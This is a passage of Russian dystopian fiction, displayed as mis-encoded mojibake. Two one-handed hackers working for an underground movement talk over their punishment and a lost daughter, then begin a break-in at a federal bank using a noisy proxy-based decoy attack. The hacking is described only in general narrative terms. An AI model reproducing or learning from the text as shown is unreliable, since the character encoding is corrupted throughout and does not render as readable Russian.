ëî è íå áûëî. Ïóñòÿêè. Êðûøêîé çàöåïèëî. — Êðûøêîé? Êàêîé êðûø-
êîé? — Ãðîáà...».

Îí ñõâàòèë ïóëüò, îñòàíîâèë êàäð. Ñëåãêà ïåðåìîòàë íàçàä, ïå-
ðå÷èòàë ñóáòèòðû. Âñëóøàëñÿ â ðå÷ü. Ïîòîì åùå. È åùå. È åùå...

Êëåéí ïîíèìàë, ÷òî ÷åëîâåê, ïðîèçíåñøèé ýòè ñëîâà, øóòèò. Øó-
òèò çëî è íåïðèíóæäåííî îäíîâðåìåííî. È ïðàâî øóòèòü åìó äàëî òî
ïðèêîñíîâåíèå ê ñìåðòè, ÷òî ïîäàðèëî åìó ðâàíûé øðàì íà ãðóäè. Îí
ìîã ðàññìåÿòüñÿ ñòàðóõå ñ êîñîé â ëèöî, ïëþíóòü åé â äóøó, åñëè òàêî-
âàÿ áûëà, ðàçëîìàòü åå îðóæèå è ðàçîðâàòü ïëàù. 

Êëåéíà íå âîëíîâàë ñåé÷àñ âîïðîñ ðóññêîé äóøè, çàãàäî÷íîé è
íåïîâòîðèìîé. Ëþáîé ÷åëîâåê ìîã îêàçàòüñÿ â ïîäîáíîé ñèòóàöèè.
Îí ïîñìîòðåë íà ñâîé ïðîòåç è ïîäóìàë, ÷òî òåïåðü âñåãäà áóäåò òàê
îòâå÷àòü íà âîïðîñû, êàñàþùèåñÿ îòñóòñòâèÿ êèñòè. Îí âñïîìíèë, êàê
íåñêîëüêî ëåò íàçàä íà ñóäå åìó çà÷èòàëè ïðèãîâîð, à ÷åðåç ïàðó ìè-
íóò îòðóáèëè ïðàâóþ ðóêó — ÷òîáû îí, ñòðàøíûé ïðåñòóïíèê, íåóëî-
âèìûé õàêåð, íèêîãäà áîëüøå íå ñìîã âçÿòü â ðóêè îðóæèå — ìàíèïó-
ëÿòîð òèïà «ìûøü».

Îí, êîíå÷íî, ñëûøàë, ÷òî òàê èíîãäà áûâàåò — íî áûë óâåðåí,
÷òî äëÿ ïîäîáíîãî íàêàçàíèÿ íóæíî ñîâåðøèòü êàêîå-òî íó óæ î÷åíü
ñåðüåçíîå ïðåñòóïëåíèå. Îêàçàëîñü — òàê áûâàåò ãîðàçäî ÷àùå...

Õëîïíóëà âõîäíàÿ äâåðü. Êëåéí, íå îòðûâàÿ ãîëîâû îò ñïèíêè
äèâàíà, ïîñìîòðåë â òó ñòîðîíó îäíèìè ãëàçàìè. Çàøóðøàëà îäåæäà,
ïîòîì îá ïîë ÷òî-òî ñòóêíóëî — è âîøåë Ïåòåðñåí.

Îí âçãëÿíóë íà çàñòûâøåå íà ýêðàíå èçîáðàæåíèå, ïðî÷èòàë
íàçâàíèå íà êîðîáêå èç-ïîä äèñêà, ïðèñåë ðÿäîì âçÿë ïóëüò è âêëþ÷èë
âîñïðîèçâåäåíèå.

Âíîâü çàçâó÷àëà ðóññêàÿ ðå÷ü. Ïåòåðñåí ïûòàëñÿ ÷èòàòü, ñëó-
øàòü. Ñïóñòÿ ïîëìèíóòû îí ìàõíóë ðóêîé, âûêëþ÷èë ïëååð è âåðíóëñÿ
çà ñóìêîé, êîòîðóþ îñòàâèë â ïðèõîæåé.
— Çäåñü ïðîäóêòû äíåé íà ïÿòü, — ñêàçàë îí, íå çàäàâàÿ íèêàêèõ âî-
ïðîñîâ. — Äàâàé, ïîìîãè çàñóíóòü âñå â õîëîäèëüíèê. Â òàêóþ æàðó
âñå ïðîïàäåò â ñ÷èòàííûå ìèíóòû.
— Ó íàñ îïÿòü áåçâûëàçíàÿ ðàáîòà?
— Äà, åñòü âîçìîæíîñòü íåïëîõî ïîäçàðàáîòàòü. Äà è ïàðíè èç Äâèæå-
íèÿ òðåáóþò îò íàñ àêòèâíîñòè.
— Òðåáóþò... Òû ïîìíèøü ñâîè îùóùåíèÿ, êîãäà òåáå íà ðóêó íàêèíó-
ëè òåðìîóäàâêó?

Ïåòåðñåí îñòàíîâèëñÿ â äâåðÿõ, îãëÿíóëñÿ íà Êëåéíà è ìåäëåííî
îïóñòèë ñóìêó íà ïîë.
— ×åãî ýòî òû âäðóã âñïîìíèë? Òàêèå âåùè íåëüçÿ çàáûòü, íî ìíå êà-
çàëîñü, ÷òî ðàçãîâîðû îá ýòîì — òàáó.
— Òàáó, êîíå÷íî... — Êëåéí âñòàë è ïîäîøåë ïîáëèæå, ïîìîã ñî âòî-
ðîé ñóìêîé. — Íî êîãäà îíà íà÷èíàåò ñæèìàòüñÿ, è òû ñëûøèøü çàïàõ
ïàëåíîé êîæè, ìÿñà, êîñòåé è ïîíèìàåøü, ÷òî òâîÿ ðóêà îòäåëÿåòñÿ îò
òåëà — î ÷åì òû äóìàåøü â ýòîò ìîìåíò? È íå ãîâîðè ìíå, ÷òî òû äó-
ìàë ïðèìåðíî âîò òàê — «Ñëàâà Áîãó, ÷òî ÿ æèâ; õðåí ñ íåé, ñ ðóêîé,
íîâàÿ âûðàñòåò!».

Ïåòåðñåí ïîêà÷àë ãîëîâîé. Îíè äîøëè äî õîëîäèëüíèêà, ñòàëè
âûãðóæàòü áàíêè, ïàêåòû, ðàçíûå öâåòíûå óïàêîâêè. Ìîë÷àëè îíè äî-
âîëüíî äîëãî, íî Êëåéí çíàë, ÷òî äðóã îáÿçàòåëüíî îòâåòèò — ïîäóìà-
åò è îòâåòèò.
— Êîíå÷íî, áûëî íå òàê, — ñêàçàë Ïåòåðñåí ñïóñòÿ ìèíóò äåñÿòü. ×óâ-
ñòâîâàëîñü, ÷òî åìó ñ òðóäîì äàþòñÿ ýòè âîñïîìèíàíèÿ. — ß ïîìíþ
ñòðàõ. ß ïîìíþ áîëü. È åùå — âî ìíå áûëî ìíîãî íåíàâèñòè. Î÷åíü
ìíîãî. ß îòäàâàë èì ñâîþ ðóêó è äàë ñåáÿ êëÿòâó âçÿòü âçàìåí âî ìíî-
ãî ðàç áîëüøå. Âçÿòü âñå èõ ìîãóùåñòâî, âñþ âëàñòü, íèçëîæèòü âñþ
ýòó ïðîãíèâøóþ èìïåðèþ!
— Ðåâîëþöèîíåð, ÷åðò ïîáåðè... — Êëåéí íàäîðâàë îäèí ïàêåòèê, âû-
òàùèë êóñî÷åê ñûðà, ìåäëåííî è çàäóì÷èâî ïîæåâàë. — Íó, âçÿë?
Âçÿë ýòó ñàìóþ âëàñòü?
— Äà ïîøåë òû, — îãðûçíóëñÿ Ïåòåðñåí. — Òû ñàì âèäèøü, â êàêîì
ìû ïîðîé áûâàåì äåðüìå. Ïèòàåìñÿ ïîëóôàáðèêàòàìè, æèâåì íà ÷ó-
æèõ êâàðòèðàõ, ïî ïîääåëüíûì äîêóìåíòàì. Êàæäûé áëþñòèòåëü ïî-
ðÿäêà íîðîâèò ñíÿòü ñ íàøèõ ðóê ïåð÷àòêè — è âåäü ñíèìàþò, ïîñëå
÷åãî óæå îñîáî íå äåðãàåøüñÿ è ãîòîâèøüñÿ ïàðó äíåé ïðîâåñòè çà ðå-
øåòêîé äî óñòàíîâëåíèÿ ëè÷íîñòè.
— Íå íîé, — ïðåðâàë åãî ðå÷ü Êëåéí. — Âñå ýòî ÿ çíàþ è áåç òåáÿ.
Ïðîñòî... Ó ìåíÿ áûëè äðóãèå îùóùåíèÿ. Ñîâñåì äðóãèå. Íå íóæíà ìíå
áûëà íèêàêàÿ âëàñòü. Äëÿ ìåíÿ ýòî áûëî... Êàê ëèøåíèå ìóæñêîãî äî-
ñòîèíñòâà, ÷òî ëè. Óäàâêà îòæèãàëà ðóêó — è ÿ èñ÷åçàë âìåñòå ñ íåé.
Ñòàíîâèëñÿ âñå òîíüøå è òîíüøå. Ñîâðó, åñëè ñêàæó, ÷òî ïîêëÿëñÿ
îòîìñòèòü. Áîëüøå âñåãî ÿ òîãäà õîòåë îñòàòüñÿ â æèâûõ — êîãäà ÿ ïî-
íÿë, ÷òî óäàâêà âñå ñêîàãóëèðîâàëà, ÷òî ó ìåíÿ íå áóäåò êðîâîòå÷åíèÿ,
ÿ ñòðàøíî îáðàäîâàëñÿ. ß òàê õîòåë æèòü — âåäü òû ïîìíèøü, ó ìåíÿ
æå åñòü äî÷ü... Áûëà...

Ïåòåðñåí ñäåëàë âèä, ÷òî çàíÿò ñâîèì äåëîì — ïåðåêëàäûâàíèåì
âíóòðè õîëîäèëüíèêà ïðîäóêòîâ. Òåìà áûëà î÷åíü áîëåçíåííîé äëÿ
Êëåéíà. Êîãäà åãî àðåñòîâàëè, äî÷ü, êîòîðîé òîãäà åäâà èñïîëíèëîñü ÷å-
òûðå ãîäà, çàáðàëè â ñïåöïðèåìíèê (æåíà Êëåéíà óìåðëà ïðè ðîäàõ, îí
ðàñòèë äåâî÷êó îäèí). ×òîáû îí íå ñìîã ïåðåäàòü åé ñâîå ìàñòåðñòâî.

Êëåéí áîðîëñÿ. Óöåëåâ âî âðåìÿ ðàññòðåëà, îí ïðèíÿëñÿ èñêàòü
äî÷ü. Áåçðåçóëüòàòíî. Ñèñòåìà õðàíèëà ñâîè òàéíû. Íî îí íå ïðåêðàòèë
áîðüáó. Èñêàë — âñåãäà è âåçäå. È ñëó÷àéíî âñòðåòèëñÿ ñ Äâèæåíèåì.

Ñ îðãàíèçàöèåé, ñîñòàâëÿþùåé ðåàëüíóþ àëüòåðíàòèâó ñóùå-
ñòâóþùåìó ïðàâèòåëüñòâó. Ñ ýòàêèì âëèÿòåëüíûì ïîäïîëüåì.

Îí ïðîäàë åé ñâîè ìîçãè è ðóêè — âçàìåí æåëàÿ ïîëó÷èòü êîîð-
äèíàòû. Îí óïîâàë íà ñâÿçè ëþäåé èç Äâèæåíèÿ. Íà åãî ìîùü. Íà ïàó-
òèíó, îïóòàâøóþ ñòðàíó.

Îí íèêîãäà íå ìå÷òàë æèòü â àíòèóòîïèè. Âïðî÷åì, êàê è â óòîïè-
÷åñêîé ñòðàíå. Íî èñ÷åçëà äî÷ü — è îí íàïëåâàë íà ñâîè ïðèíöèïû.
— Òû çíàåøü, Ïåòåðñåí, çà÷åì îíè ðàññòðåëèâàþò êîìïüþòåðû?
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Òîò, çàêîí÷èâ ñ õîëîäèëüíèêîì, âåðíóëñÿ â êîìíàòó ñ áàíêîé ïèâà è
æäàë îòâåòà íà ðèòîðè÷åñêèé âîïðîñ Êëåéíà.
— Îíè ðàññòðåëèâàþò âìåñòå ñ íèì âñå ñàìîå äîðîãîå, ÷òî åñòü ó íàñ.
Íàøó ïàìÿòü. Ìàëî òîãî, ÷òî îíè âûãðåáëè âñå èç ñòàðîé êâàðòèðû —
âñå êíèãè, àðõèâû, ôîòîãðàôèè, äèñêè — òàê îíè åùå è óíè÷òîæèëè âñå
òî, ÷òî õðàíèëîñü â êîìïüþòåðå. Îíè ïðåêðàñíî ïîíèìàþò, Ïåòåðñåí,
÷òî ïðîãðàììû ÿ âîññòàíîâëþ — èëè íàïèøó íîâûå. Áàçû äàííûõ âîñ-
ïîëíþ. Óìåíèÿ ìîè íèêóäà íå äåíóòñÿ, ðóêó ÿ ñ òâîåé ïîìîùüþ ñäåëàë.
Íî âèäåî ñ ìîèì ðåáåíêîì, ôîòîãðàôèè — îíè âñå ðàññòðåëÿëè. Âñå.
Õîòÿ ìîãëè ïðîñòî ñòåðåòü. Íî íåò — ýòî âåäü ïîêàçàòåëüíàÿ êàçíü. Õà-
êåð ðàññòàåòñÿ ñî ñâîèì ïðîøëûì. È îí åùå íå çíàåò, ÷òî ïðèäÿ äîìîé,
íå íàéäåò òàì ñâîåãî ðåáåíêà — îñòàåòñÿ ñêàçàòü èì ñïàñèáî çà òî, ÷òî
îíè äåëàþò ýòî íå ìîë÷à, îñòàâëÿþò ñîïðîâîäèòåëüíûå äîêóìåíòû.
— Êëåéí, âûïåé ïèâà, — Ïåòåðñåí âûêëþ÷èë òåëåâèçîð, ïðèêðûë ãëàçà.
— Õî÷åøü, ÿ îñâîáîæó òåáÿ ñåãîäíÿ îò ðàáîòû. Ìíå íèêîãäà íå íðàâèëèñü
ïåðåïàäû òâîåãî íàñòðîåíèÿ, ïðèñòóïû îñòðîé òîñêè, ìåëàíõîëèè...
— Äàæå è íå äóìàé, — îòðåçàë Êëåéí. — Ìû âñåãäà ðàáîòàåì âìåñòå. È òû
ýòî ïðåêðàñíî çíàåøü. Èëè ó òåáÿ ïîëó÷èòñÿ îòñåêàòü àãåíòîâ â îäèíî÷êó?
— Âðÿä ëè, — ïîñòàâèâ áóòûëêó íà ïîäëîêîòíèê, ïîêà÷àë ãîëîâîé Ïå-
òåðñåí. — Íî âñå-òàêè — òâîé ñåãîäíÿøíèé íàñòðîé òàêîâ, ÷òî ÿ ëó÷øå
ïîïðîáóþ îäèí, ÷åì âîçüìó òåáÿ ñ ñîáîé. Ïðàâäà, ïðàêòèêè ó ìåíÿ íåò,
íî òû æå ñàì âñåãäà ãîâîðèë — ýòî äåëî íàæèâíîå. Ïîòðåíèðóþñü íà
ìûøêàõ, êàê ãîâîðÿò âðà÷è.
— Äåëî ñåðüåçíîå?
— Ó íàñ íå áûâàåò ìåëî÷åé, — Ïåòåðñåí âñòðÿõíóë áóòûëêó, ïîñìîòðåë
íà âîðîíêó èç ïóçûðüêîâ. — Íî è ìû ñàìè — êðóïíàÿ ðûáà. Àêóëû. Íàì
÷òî ïîïàëî íå ïîðó÷àþò.
— Ñêàæåøü òîæå... Òû âåäü íå ñåðüåçíî?
— ×òî «íå ñåðüåçíî»? ×òî ñìîãó îäèí? — óëûáíóëñÿ Ïåòåðñåí. — Òû
æå çíàåøü — âîéòè ÿ ñìîãó â îäèíî÷êó, êóäà ïîæåëàþ. À âîò âûéòè áåç
òâîåé ïîìîùè — íå ïðîáîâàë. ß âîò ÷òî õîòåë ñïðîñèòü — òû âñåðüåç
âîñïðèíÿë ñëîâà ýòîãî ðóññêîãî ïðî êðûøêó ãðîáà? Òû âåäü çíàë — è
çíàåøü, — ÷òî íàñ áû íå êàçíèëè ñ ïåðâîãî ðàçà. Òàê ÷òî î ñìåðòè ãîâî-
ðèòü íå ïðèõîäèëîñü ïî îïðåäåëåíèþ.
— Âñåðüåç, — ïîñëå ïî÷òè ìèíóòíîãî ðàçäóìüÿ îòâåòèë Êëåéí. — Ïîòî-
ìó ÷òî ñåé÷àñ ÿ êàê íèêîãäà ÍÅ ãîòîâ ê ñìåðòè. ß ÷óâñòâóþ, ÷òî íàéäó
Øåðèë. Íå ìîãó íå íàéòè. È ïóñòü òîò ðàññòðåë è óäàâêà íà ðóêå áóäóò
òîé ñàìîé êðûøêîé ãðîáà, êîòîðàÿ çàöåïèëà ìåíÿ è îòîøëà â ñòîðîíó,
äàâ ìíå âîçìîæíîñòü æèòü äàëüøå.
— Êàêàÿ-òî ìåëîäðàìàòè÷åñêàÿ ÷óøü, — îòõëåáíóâ ïèâà, îòâåòèë Ïå-
òåðñåí. — Òû íèêîãäà íå óìåë ôèëîñîôñòâîâàòü. Ñëóøàòü òåáÿ — îäíî
ìó÷åíèå. ß òàê è íå ïîíÿë, ÷òî òû õîòåë ñêàçàòü. Òû æå çíàåøü, ó ìåíÿ
íèêîãî íåò — íè ðîäèòåëåé, íè æåíû, íè äåòåé. Ó ìåíÿ âîîáùå åñòü
îùóùåíèå, ÷òî ÿ èçíà÷àëüíî áûë ðîæäåí äëÿ òîãî äåëà, êîòîðûì çàíè-
ìàþñü. Íèêàêèõ ÿêîðåé, íèêàêèõ âîçìîæíîñòåé äëÿ øàíòàæà. Íî ìîé
êîìïüþòåð, ìåæäó ïðî÷èì, òîæå ðàññòðåëÿëè. Íå çíàþ, ïðàâäà, çà÷åì.
Ëèøàòü ìåíÿ áûëî íå÷åãî. Âñå — çäåñü.

È îí òêíóë ïàëüöåì ñåáå â ëîá.
Áóòûëêà ïîêà÷íóëàñü, Ïåòåðñåí ïîäõâàòèë åå çà ãîðëûøêî.

— Ñêîëüêî ìîæíî ëèðèêè? — íåäîâîëüíî ñïðîñèë îí ó Êëåéíà. — Èëè
ïåé, èëè ãîòîâüñÿ ê ðàáîòå. Â ïðèíöèïå, äëÿ ìåíÿ ýòî îäíî è òî æå.

Îí âûöåäèë ñåáå â ðîò ïîñëåäíèå êàïëè ïèâà è îòøâûðíóë áóòû-
ëêó â óãîë. Îíà óäàðèëàñü îá ñòåíó è îòêàòèëàñü ÷óòü ëè íå íà ñåðåäèíó
êîìíàòû. Êëåéí ïðîâîäèë åå âçãëÿäîì, âçäîõíóë è òèõî ñêàçàë:
— Âåçäå áàðäàê... Â êâàðòèðàõ, íà óëèöàõ, â ãîëîâàõ, â äóøàõ... ×òî çà
ðàáîòà?
— Íó, ðàç óæ ìû ïðèìêíóëè ê îïïîçèöèè, òî íå ñòîèò îñîáî âäàâàòüñÿ â
ìîðàëü. Áàíàëüíûé «ýêñ», êàê åãî íàçûâàëè àíàðõèñòû. Âçÿòü â îäíîì
ìåñòå, ïîëîæèòü â äðóãîå. Ïðè ýòîì ÷åì áîëüøå âîçüìåì è ÷åì äàëüøå
ñïðÿ÷åì — òåì áîëüøå ïðîöåíò...

Êëåéí âçìàõîì ðóêè îñòàíîâèë åãî.
— À êàê æå èäåÿ? Âî èìÿ ÷åãî âñå ýòî?
— Íå âñå ëè ðàâíî? Âîò êàê òû îáúÿñíèë àãåíòó Äâèæåíèÿ òî, ÷òî ïðè-
øåë ê íèì?
— ß ñêàçàë ïðàâäó.
— Êàêóþ? ×òî òåáå îòðóáèëè ðóêó, ïîòîìó ÷òî òû ïîïàëñÿ íà ïðîñòîì
âçëîìå?..
— Íó, íå íà ïðîñòîì... Ýòî áûëà ëîâóøêà, ñäåëàííàÿ êà÷åñòâåííî è
ëþäüìè, êîòîðûå íà òîò ìîìåíò áûëè íà ïîðÿäîê ñèëüíåå ìåíÿ...

Ïåòåðñåí çàêèíóë íîãó íà íîãó è ñïðîñèë ñ äîâîëüíîé ôèçèîíîìèåé:
— Òàê çà÷åì æå îíè âçÿëè õàêåðà, åñëè çíàëè, ÷òî ïðîòèâ íåãî áóäóò
èãðàòü àãåíòû áîëåå ïðîôåññèîíàëüíûå è áîëåå ïîäêîâàííûå — âî
âñåõ ñìûñëàõ? Òû íèêîãäà íå äóìàë?
— ß ñêàçàë ïðàâäó, — íàñòîé÷èâî ïîâòîðèë Êëåéí. — È îíè ïîâåðèëè.

À âîò ÷òî ñêàçàë òû?
— Íè÷åãî, — õìûêíóë Ïåòåðñåí. — ß ïðî-
ñòî ñëîìàë èõ àãåíòóðíóþ áàçó è äàë ñåáÿ
âû÷èñëèòü. Âñå áàíàëüíî.
— Ñëîìàë áàçó? — íåäîâåð÷èâî ïåðåñ-
ïðîñèë Êëåéí. — Áàçó Äâèæåíèÿ? È ÷òî
òàì áûëî?
— Íè÷åãî îñîáåííîãî. Ñïèñêè, àäðåñà,
áàíêîâñêèå ñ÷åòà. ×òî åùå ìîæåò õðàíèòü
â ñåêðåòå òàéíàÿ îðãàíèçàöèÿ, âñåìè ñè-
ëàìè ñòðåìÿùàÿñÿ âûéòè èç ïîäïîëüÿ? Íà
ïåðâûé âçãëÿä íè÷åãî êðèìèíàëüíîãî.
Ïðåæäå ÷åì ïîäñòàâèòüñÿ, ÿ âíèìàòåëüíî
èçó÷èë åå — ÷òîáû ïîíÿòü. Ïîíÿòü, êòî
îíè, çà÷åì îíè, êóäà èäóò. Çíàåøü, ìíå êà-
æåòñÿ, ÷òî òî, ÷òî ìû î íèõ çíàåì — âñåãî
ëèøü âåðõóøêà àéñáåðãà. Äàæå íåò, íå òàê
— ïÿòà÷îê íà ýòîé âåðõóøêå, òàêîé ìàëåíü-
êèé, ÷òî ìû ñ òîáîé òàì íå ïîìåñòèìñÿ.
— Íå ïîñêîëüçíóòüñÿ áû íà ýòîì àéñáåðãå... À òû íå ïðîáîâàë êîïíóòü
ãëóáæå?
— Íàñêîëüêî? Äî âûñòðåëà â çàòûëîê? — Ïåòåðñåí óñìåõíóëñÿ. — Ïðî-
áîâàë, ïðîáîâàë. Äóìàþ, åñëè áû ÿ ñêàçàë «íåò», òû áû ìíå íå ïîâåðèë.

Êëåéí êèâíóë â îòâåò.
— È ÷òî òàì — â ãëóáèíå?
— Êëåéí, äàâàé ïîæèâåì åùå íåìíîãî. Õîòÿ áû ïàðó ëåò, — Ïåòåðñåí
âñòàë ñ êðåñëà, ïîäîøåë ê îêíó. — Ó ìåíÿ åñòü êîå-êàêèå ïëàíû — ìåð-
òâîìó îíè ìíå íå ïî ñèëàì.
— Îíè íàñòîëüêî ñèëüíû è ìñòèòåëüíû?
— Äåëî íå â ýòîì, — Ïåòåðñåí ïðîäîëæàë ñìîòðåòü â îêíî. Êëåéíó íå
íðàâèëîñü, ÷òî íàïàðíèê íå ñìîòðèò åìó â ãëàçà. — Êàê ëþáàÿ ñèñòåìà,
êîòîðàÿ ìîæåò âëèÿòü íà ïîëèòè÷åñêóþ ñèòóàöèþ â ñòðàíå è âëàäååò îá-
øèðíûìè ôèíàíñîâûìè è ëþäñêèìè ðåçåðâàìè, îíà õðàíèò â òàéíå
ñëèøêîì ìíîãî èíôîðìàöèè. Íå ðîâåí ÷àñ, êòî-íèáóäü ïðîíþõàåò, êàê
îíè çàðàáîòàëè ñâîé ïåðâûé äîëëàð — è äîâåðèå, ñëîâíî õðóñòàëüíàÿ
âàçà, ðàçîáüåòñÿ. À òû âåäü çíàåøü, ÷òî î÷åðíèòü î÷åíü ëåãêî — à îò-
ìûòüñÿ ïîòîì áûâàåò ïðîñòî íåâîçìîæíî. Òàì, â òåõ ìåñòàõ, êóäà ÿ ïî-
ïàë âî âðåìÿ ñâîåé ïåðâîé è ïîñëåäíåé ïîïûòêè, ñïðÿòàíà èíôîðìà-
öèÿ, ñïîñîáíàÿ, êàê ìíå êàæåòñÿ, ñèëüíî ïîêîëåáàòü àâòîðèòåò Äâèæå-
íèÿ. ß êîñíóëñÿ åå ëèøü êðàåøêîì ñîçíàíèÿ — è ðåøèë òèõî è ìèðíî
óéòè, íå îñòàâëÿÿ ñëåäîâ.
— Íî âåäü âëàäåòü òàêîé èíôîðìàöèåé — çíà÷èò èìåòü âîçìîæíîñòü
äèêòîâàòü Äâèæåíèþ ñâîè óñëîâèÿ! — çàãîðåëèñü ãëàçà ó Êëåéíà.
— Ìîæåøü óæå íà÷èíàòü äèêòîâàòü ñâîå çàâåùàíèå, — ãðóáî îòâåòèë
Ïåòåðñåí. — Óæå íå îòäåëàåøüñÿ îäíîé ðóêîé. Óáüþò. È òåáÿ, è ìåíÿ.
— Òåáÿ-òî çà ÷òî? — ïðèïîäíÿë áðîâè Êëåéí. — Êàêèì îáðàçîì òû ïî-
ïàäåøü ïîä ïîäîçðåíèå? Òîëüêî èñõîäÿ èç òîãî, ÷òî íàñ ïîñåëèëè âìå-
ñòå — à çíà÷èò, ìû ïðîñòî îáÿçàíû âñòóïèòü â ñãîâîð?
— Ïðèìåðíî òàê, — ñîãëàñèëñÿ Ïåòåðñåí. — È åñëè òû ñåé÷àñ íà÷íåøü
ïðîñèòü ìåíÿ âñïîìíèòü ìîè ïîïûòêè âçëîìà ñåêðåòíûõ áàç — ÿ íàáüþ
òåáå ìîðäó. À ìîãó è ïðîñòî òàê — àâàíñîì.

Êëåéí êèâíóë, ñîãëàøàÿñü.
— Ïðîñèòü íå áóäó. Ñàì ñêàæåøü.
— Íå ñõîäè ñ óìà. Ëó÷øå äàâàé ïî-áûñòðîìó ïðîøâûðíåìñÿ â Ñåòü, âîçü-
ìåì, ÷òî ïëîõî ëåæèò — à ïîòîì òû ïðîäîëæèøü ñâîþ ôèëîñîôèþ.

Ïîæàâ ïëå÷àìè, Êëåéí ùåëêíóë ìåõàíè÷åñêèìè ïàëüöàìè è óøåë
â äðóãóþ êîìíàòó.
— Íå çàáóäü âûêëþ÷èòü âåíòèëÿòîð! — êðèêíóë îí îòòóäà. — Âî âðåìÿ
ðàáîòû ðàçäðàæàåò!

Ïåòåðñåí âçÿë ïóëüò, ìàõíóë èì â ñòîðîíó æóææàùåé ìàøèíû.
Äâèæåíèå âîçäóõà çàìåðëî — æàðà òóò æå íàêèíóëàñü, âöåïèâøèñü
ìåðòâîé õâàòêîé â êàæäóþ êëåòî÷êó òåëà.
— Íè÷åãî, ïîòåðïèì...

Îí ïåðåêëþ÷èë íà ïðîòåçå ìèêðîòóìáëåð, âûñòàâèâ ñêîðîñòü äâè-
æåíèÿ ïàëüöåâ íà ìàêñèìóì. Ïîøåâåëèë: ãëàçà íå óñïåëè îòìåòèòü íè-
÷åãî — íàñòîëüêî âñå áûëî áûñòðî. Òîëüêî ëåãêàÿ âèáðàöèÿ ïî ïðåä-
ïëå÷üþ — Ïåòåðñåí êèâíóë ñàì ñåáå, ïîäîøåë ê çåðêàëüíîìó øêàôó,
îòîäâèíóë â ñòîðîíó ñòâîðêó, îòêðûâ äîñòóï ê êîìïüþòåðó. Ïðàâóþ ðóêó
îí òåïåðü äåðæàë íà îòëåòå, ñòàðàÿñü íå ïðèêàñàòüñÿ åé íè ê ÷åìó.

Ñåë â êðåñëî, íàäåë ãàðíèòóðó, ñïðîñèë:
— Òû òàì?
— Òî÷íî, — ðàçäàëîñü â íàóøíèêàõ. — Ðóêó íà ìàêñèìóì? Ïîòîì òàê
áîëèò ïëå÷î...
— Ãëóïûé âîïðîñ. Ìíå çàéòè ïðîâåðèòü — èëè ñàì?

ÒÅÁÅ ×ÒÎ, 
ÎÒÐÓÁÈËÈ
ÐÓÊÓ,
ÏÎÒÎÌÓ 
×ÒÎ ÒÛ 
ÏÎÏÀËÑß 
ÍÀ ÏÐÎÑÒÎÌ 
ÂÇËÎÌÅ?
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— Ñàì. Âñå, ñäåëàë. Êóäà ñåãîäíÿ?
— Ôåäåðàëüíûé áàíê. ß òàì íà äíÿõ íåïëîõóþ ëàçåéêó îñòàâèë...
— À êàê îíè óçíàëè?
— ×òî?
— Íó, ÷òî ó òåáÿ åñòü íàðàáîòêè? Îíè æå òîæå íîðìàëüíûå ëþäè, õî-
òÿò, ÷òîáû âñå ïîëó÷èëîñü, êóäà ïîïàëî íå ïîøëþò.

Ïåòåðñåí çàìÿëñÿ.
— Íå õî÷åøü, íå ãîâîðè, — Êëåéí óæå áûë ãîòîâ èçâèíèòüñÿ çà òî, ÷òî
âëåç íå â ñâîå äåëî. Íàâåðíÿêà Ïåòåðñåí íà äîâåðèè ó Äâèæåíèÿ, îíè
ïëàíèðóþò âñå àêöèè âìåñòå — èñõîäÿ èç åãî âîçìîæíîñòåé.

Êëåéí âñåãäà îòäàâàë ïàëüìó ïåðâåíñòâà ñâîåìó äðóãó — òîò
áûë íà ïîðÿäîê ñèëüíåå. Íàâûêè õàêåðà, ôðèêåðà, ïðîãðàììèñòà áû-
ëè ó íåãî â êðîâè. Èíîãäà ñêëàäûâàëîñü âïå÷àòëåíèå, ÷òî äëÿ íåãî íå
ñóùåñòâóåò íåâûïîëíèìûõ çàäà÷ — íàñòîëüêî ëåãêî îí íàõîäèë ðå-
øåíèå â ñëîæíûõ, ïðàêòè÷åñêè íåðàçðåøèìûõ ñèòóàöèÿõ. Êëåéí øåë
çà íèì áåçî âñÿêîé îïàñêè — îí áûë óâåðåí â áëàãîïðèÿòíîì èñõîäå
ëþáîãî ìåðîïðèÿòèÿ.

Íà ýòîò ðàç Ïåòåðñåí íå ñòàë íè÷åãî óñëîæíÿòü è ïîðó÷èë Êëåé-
íó òî, ÷òî ïîðó÷àë âñåãäà — ðîëü èíôîðìàöèîííîãî âîçäåéñòâèÿ. Îò
Êëåéíà òðåáîâàëîñü âîéòè íà ñåðâåð ôåäåðàëüíîãî áàíêà ñ ìàêñè-
ìàëüíî âîçìîæíûì øóìîì. Âîéòè, ñòó÷àòüñÿ âî âñå ïîðòû, äåðçèòü
âñåì ôàéðâîëàì, ïîäáèðàòü ïàðîëè, êîðî÷å — õóëèãàíèòü òàê, ÷òîáû
åãî çàìåòèëè è âûêèíóëè, ïðîÿâèâ âñå ÷óäåñà ñâîåé çàùèòû. À Ïåòåð-
ñåí òåì âðåìåíåì ïîä ïðèêðûòèåì òàêîãî ÿâíîãî âòîðæåíèÿ äîëæåí
áûë ñäåëàòü ñâîå äåëî è òèõîíüêî ñìûòüñÿ.

Êëåéí ïîëîæèë ðóêè íà êëàâèàòóðó, çàæìóðèëñÿ äî áîëè â âåêàõ,
ñòðÿõíóë óñòàëîñòü, ðåçêî îòêðûë ãëàçà è íà÷àë.

Ïàëüöû ïðàâîé ðóêè ñî ñêîðîñòüþ ìîëíèè ëåòàëè ïî êëàâèøàì —
îäíîé èç çàäà÷ Êëåéíà áûëî ñîçäàíèå èëëþçèè ìàññîâîé àòàêè. Îí
ïîäêëþ÷àëñÿ ê áàíêó îäíîâðåìåííî ñ íåñêîëüêèõ äåñÿòêîâ ïðîêñè-
ñåðâåðîâ, ñêàíèðóÿ îòêðûòûå ïîðòû è çàáèâàÿ èõ âñÿêèì èíôîðìà-
öèîííûì ìóñîðîì. Â íàóøíèêàõ îí ñëûøàë äûõàíèå Ïåòåðñåíà, êîòî-
ðûé â ýòî âðåìÿ ïðîñìàòðèâàë ëîãè è âíèìàòåëüíî èçó÷àë àêòèâíîñòü
àäìèíèñòðàòîðà.

Ñëóæáà êîìïüþòåðíîé áåçîïàñíîñòè áàíêà îêàçàëàñü íà âûñîòå.
Àêòèâíîñòü Êëåéíà áûëà çàìå÷åíà íà òðèíàäöàòîé ñåêóíäå. Ýòî ãîâî-
ðèëî î òîì, ÷òî ÷åëîâåê â áàíêå íå ïðîñòî ïîëó÷àåò ñâîè äåíüãè — îí
âíèìàòåëåí è áûñòð. Çàñëîíû ïåðåä Êëåéíîì ñòàëè âûðàñòàòü îäèí
çà äðóãèì. Â ïåðâûå íåñêîëüêî ìèíóò ýòî åãî íå îñòàíàâëèâàëî —
